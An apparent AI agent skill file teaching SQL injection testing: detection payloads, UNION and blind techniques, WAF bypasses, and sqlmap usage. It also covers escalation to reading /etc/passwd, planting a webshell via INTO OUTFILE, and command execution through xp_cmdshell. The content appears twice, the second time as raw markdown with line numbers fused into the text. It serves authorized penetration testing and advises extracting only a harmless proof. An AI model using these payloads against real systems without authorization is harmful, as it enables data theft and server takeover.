SQL Injection (SQLi)
When it applies
User input is concatenated into a SQL query. Test every param, header (X-Forwarded-For,
User-Agent, Referer sometimes logged into DB), cookie, and JSON field — not just ?id=.
Why it works
The query string mixes code and data. A stray quote/operator lets you close the intended
literal and append your own SQL, which the engine parses as instructions. Blind variants
leak data one bit at a time via truthy/falsy responses or timing.
Method
Exact per-DB payloads, blind/error/time variants, and WAF bypasses: see
cheatsheet.md next to this file. Work the whole variation set for a
parameter before concluding it isn't injectable — one failed quote is not a clean param.
- Detect — send
', ", ), then a self-true vs self-false pair:
id=1 AND 1=1 vs id=1 AND 1=2 (numeric); x' AND '1'='1 vs x' AND '1'='2 (string).
Different responses = injectable. Error text = fast win; identical = try blind/time.
- Fingerprint the DB (comment style, string concat, version fn) then pick a technique:
- UNION: find column count (
ORDER BY n until error), find a string-typed column, then
UNION SELECT NULL,version(),NULL-- - and pull information_schema.
- Boolean-blind:
AND SUBSTRING((SELECT ...),1,1)='a' — automate the oracle.
- Time-blind:
AND SLEEP(5) / pg_sleep(5) / WAITFOR DELAY '0:0:5' when no visible diff.
- Escalate beyond data where the DB privileges allow:
- File read (MySQL
FILE priv): UNION SELECT LOAD_FILE('/etc/passwd') — read app source,
keys, config to find the next bug.
- File write → webshell:
... INTO OUTFILE '/var/www/html/s.php' (needs FILE, a writable
path, and secure_file_priv unset). MSSQL xp_cmdshell / Postgres COPY ... FROM PROGRAM
give direct command execution when you're DBA.
- Automate once confirmed:
sqlmap -r req.txt --batch --level 3 --risk 2 --dbms=mysql
(-r = saved Burp request preserves auth/headers; raise level/risk only after manual proof).
Gotchas
- WAF blocks
union select → try inline comments un/**/ion, case, or sqlmap --tamper.
- Numeric context needs no quotes; quoting it makes a real vuln look dead.
sqlmap on the raw URL misses auth/CSRF — always feed it a captured request (-r).
- Second-order: input stored now, executed in a later query elsewhere — test the read path.
Verify success
Extract a harmless proof: @@version, current_user, database(), or one row from a
non-sensitive table. For a report, show the version string, not customer data.
References
PortSwigger SQLi labs; sqlmap wiki; OWASP SQLi Prevention Cheat Sheet.
1---2name: web-sqli3description: Detect and exploit SQL injection (error-based, UNION, boolean/time blind, stacked). Load when a param feeds a query, you see DB errors, numeric/string params change result sets, login forms, search, sort/order-by, or ORM raw queries. Signals: "id=", 500 on a quote, "You have an error in your SQL syntax", MySQL/Postgres/MSSQL/Oracle banners.4---56# SQL Injection (SQLi)78## When it applies9User input is concatenated into a SQL query. Test every param, header (`X-Forwarded-For`,10`User-Agent`, `Referer` sometimes logged into DB), cookie, and JSON field — not just `?id=`.1112## Why it works13The query string mixes code and data. A stray quote/operator lets you close the intended14literal and append your own SQL, which the engine parses as instructions. Blind variants15leak data one bit at a time via truthy/falsy responses or timing.1617## Method18> **Exact per-DB payloads, blind/error/time variants, and WAF bypasses:** see19> [`cheatsheet.md`](cheatsheet.md) next to this file. Work the *whole* variation set for a20> parameter before concluding it isn't injectable — one failed quote is not a clean param.21221. **Detect** — send `'`, `"`, `)`, then a self-true vs self-false pair:23 `id=1 AND 1=1` vs `id=1 AND 1=2` (numeric); `x' AND '1'='1` vs `x' AND '1'='2` (string).24 Different responses = injectable. Error text = fast win; identical = try blind/time.252. **Fingerprint the DB** (comment style, string concat, version fn) then pick a technique:26 - **UNION**: find column count (`ORDER BY n` until error), find a string-typed column, then27 `UNION SELECT NULL,version(),NULL-- -` and pull `information_schema`.28 - **Boolean-blind**: `AND SUBSTRING((SELECT ...),1,1)='a'` — automate the oracle.29 - **Time-blind**: `AND SLEEP(5)` / `pg_sleep(5)` / `WAITFOR DELAY '0:0:5'` when no visible diff.303. **Escalate beyond data** where the DB privileges allow:31 - **File read** (MySQL `FILE` priv): `UNION SELECT LOAD_FILE('/etc/passwd')` — read app source,32 keys, config to find the next bug.33 - **File write → webshell**: `... INTO OUTFILE '/var/www/html/s.php'` (needs `FILE`, a writable34 path, and `secure_file_priv` unset). MSSQL `xp_cmdshell` / Postgres `COPY ... FROM PROGRAM`35 give direct command execution when you're DBA.364. **Automate** once confirmed: `sqlmap -r req.txt --batch --level 3 --risk 2 --dbms=mysql`37 (`-r` = saved Burp request preserves auth/headers; raise level/risk only after manual proof).3839## Gotchas40- WAF blocks `union select` → try inline comments `un/**/ion`, case, or `sqlmap --tamper`.41- Numeric context needs no quotes; quoting it makes a real vuln look dead.42- `sqlmap` on the raw URL misses auth/CSRF — always feed it a captured request (`-r`).43- Second-order: input stored now, executed in a later query elsewhere — test the *read* path.4445## Verify success46Extract a harmless proof: `@@version`, `current_user`, `database()`, or one row from a47non-sensitive table. For a report, show the version string, not customer data.4849## References50PortSwigger SQLi labs; sqlmap wiki; OWASP SQLi Prevention Cheat Sheet.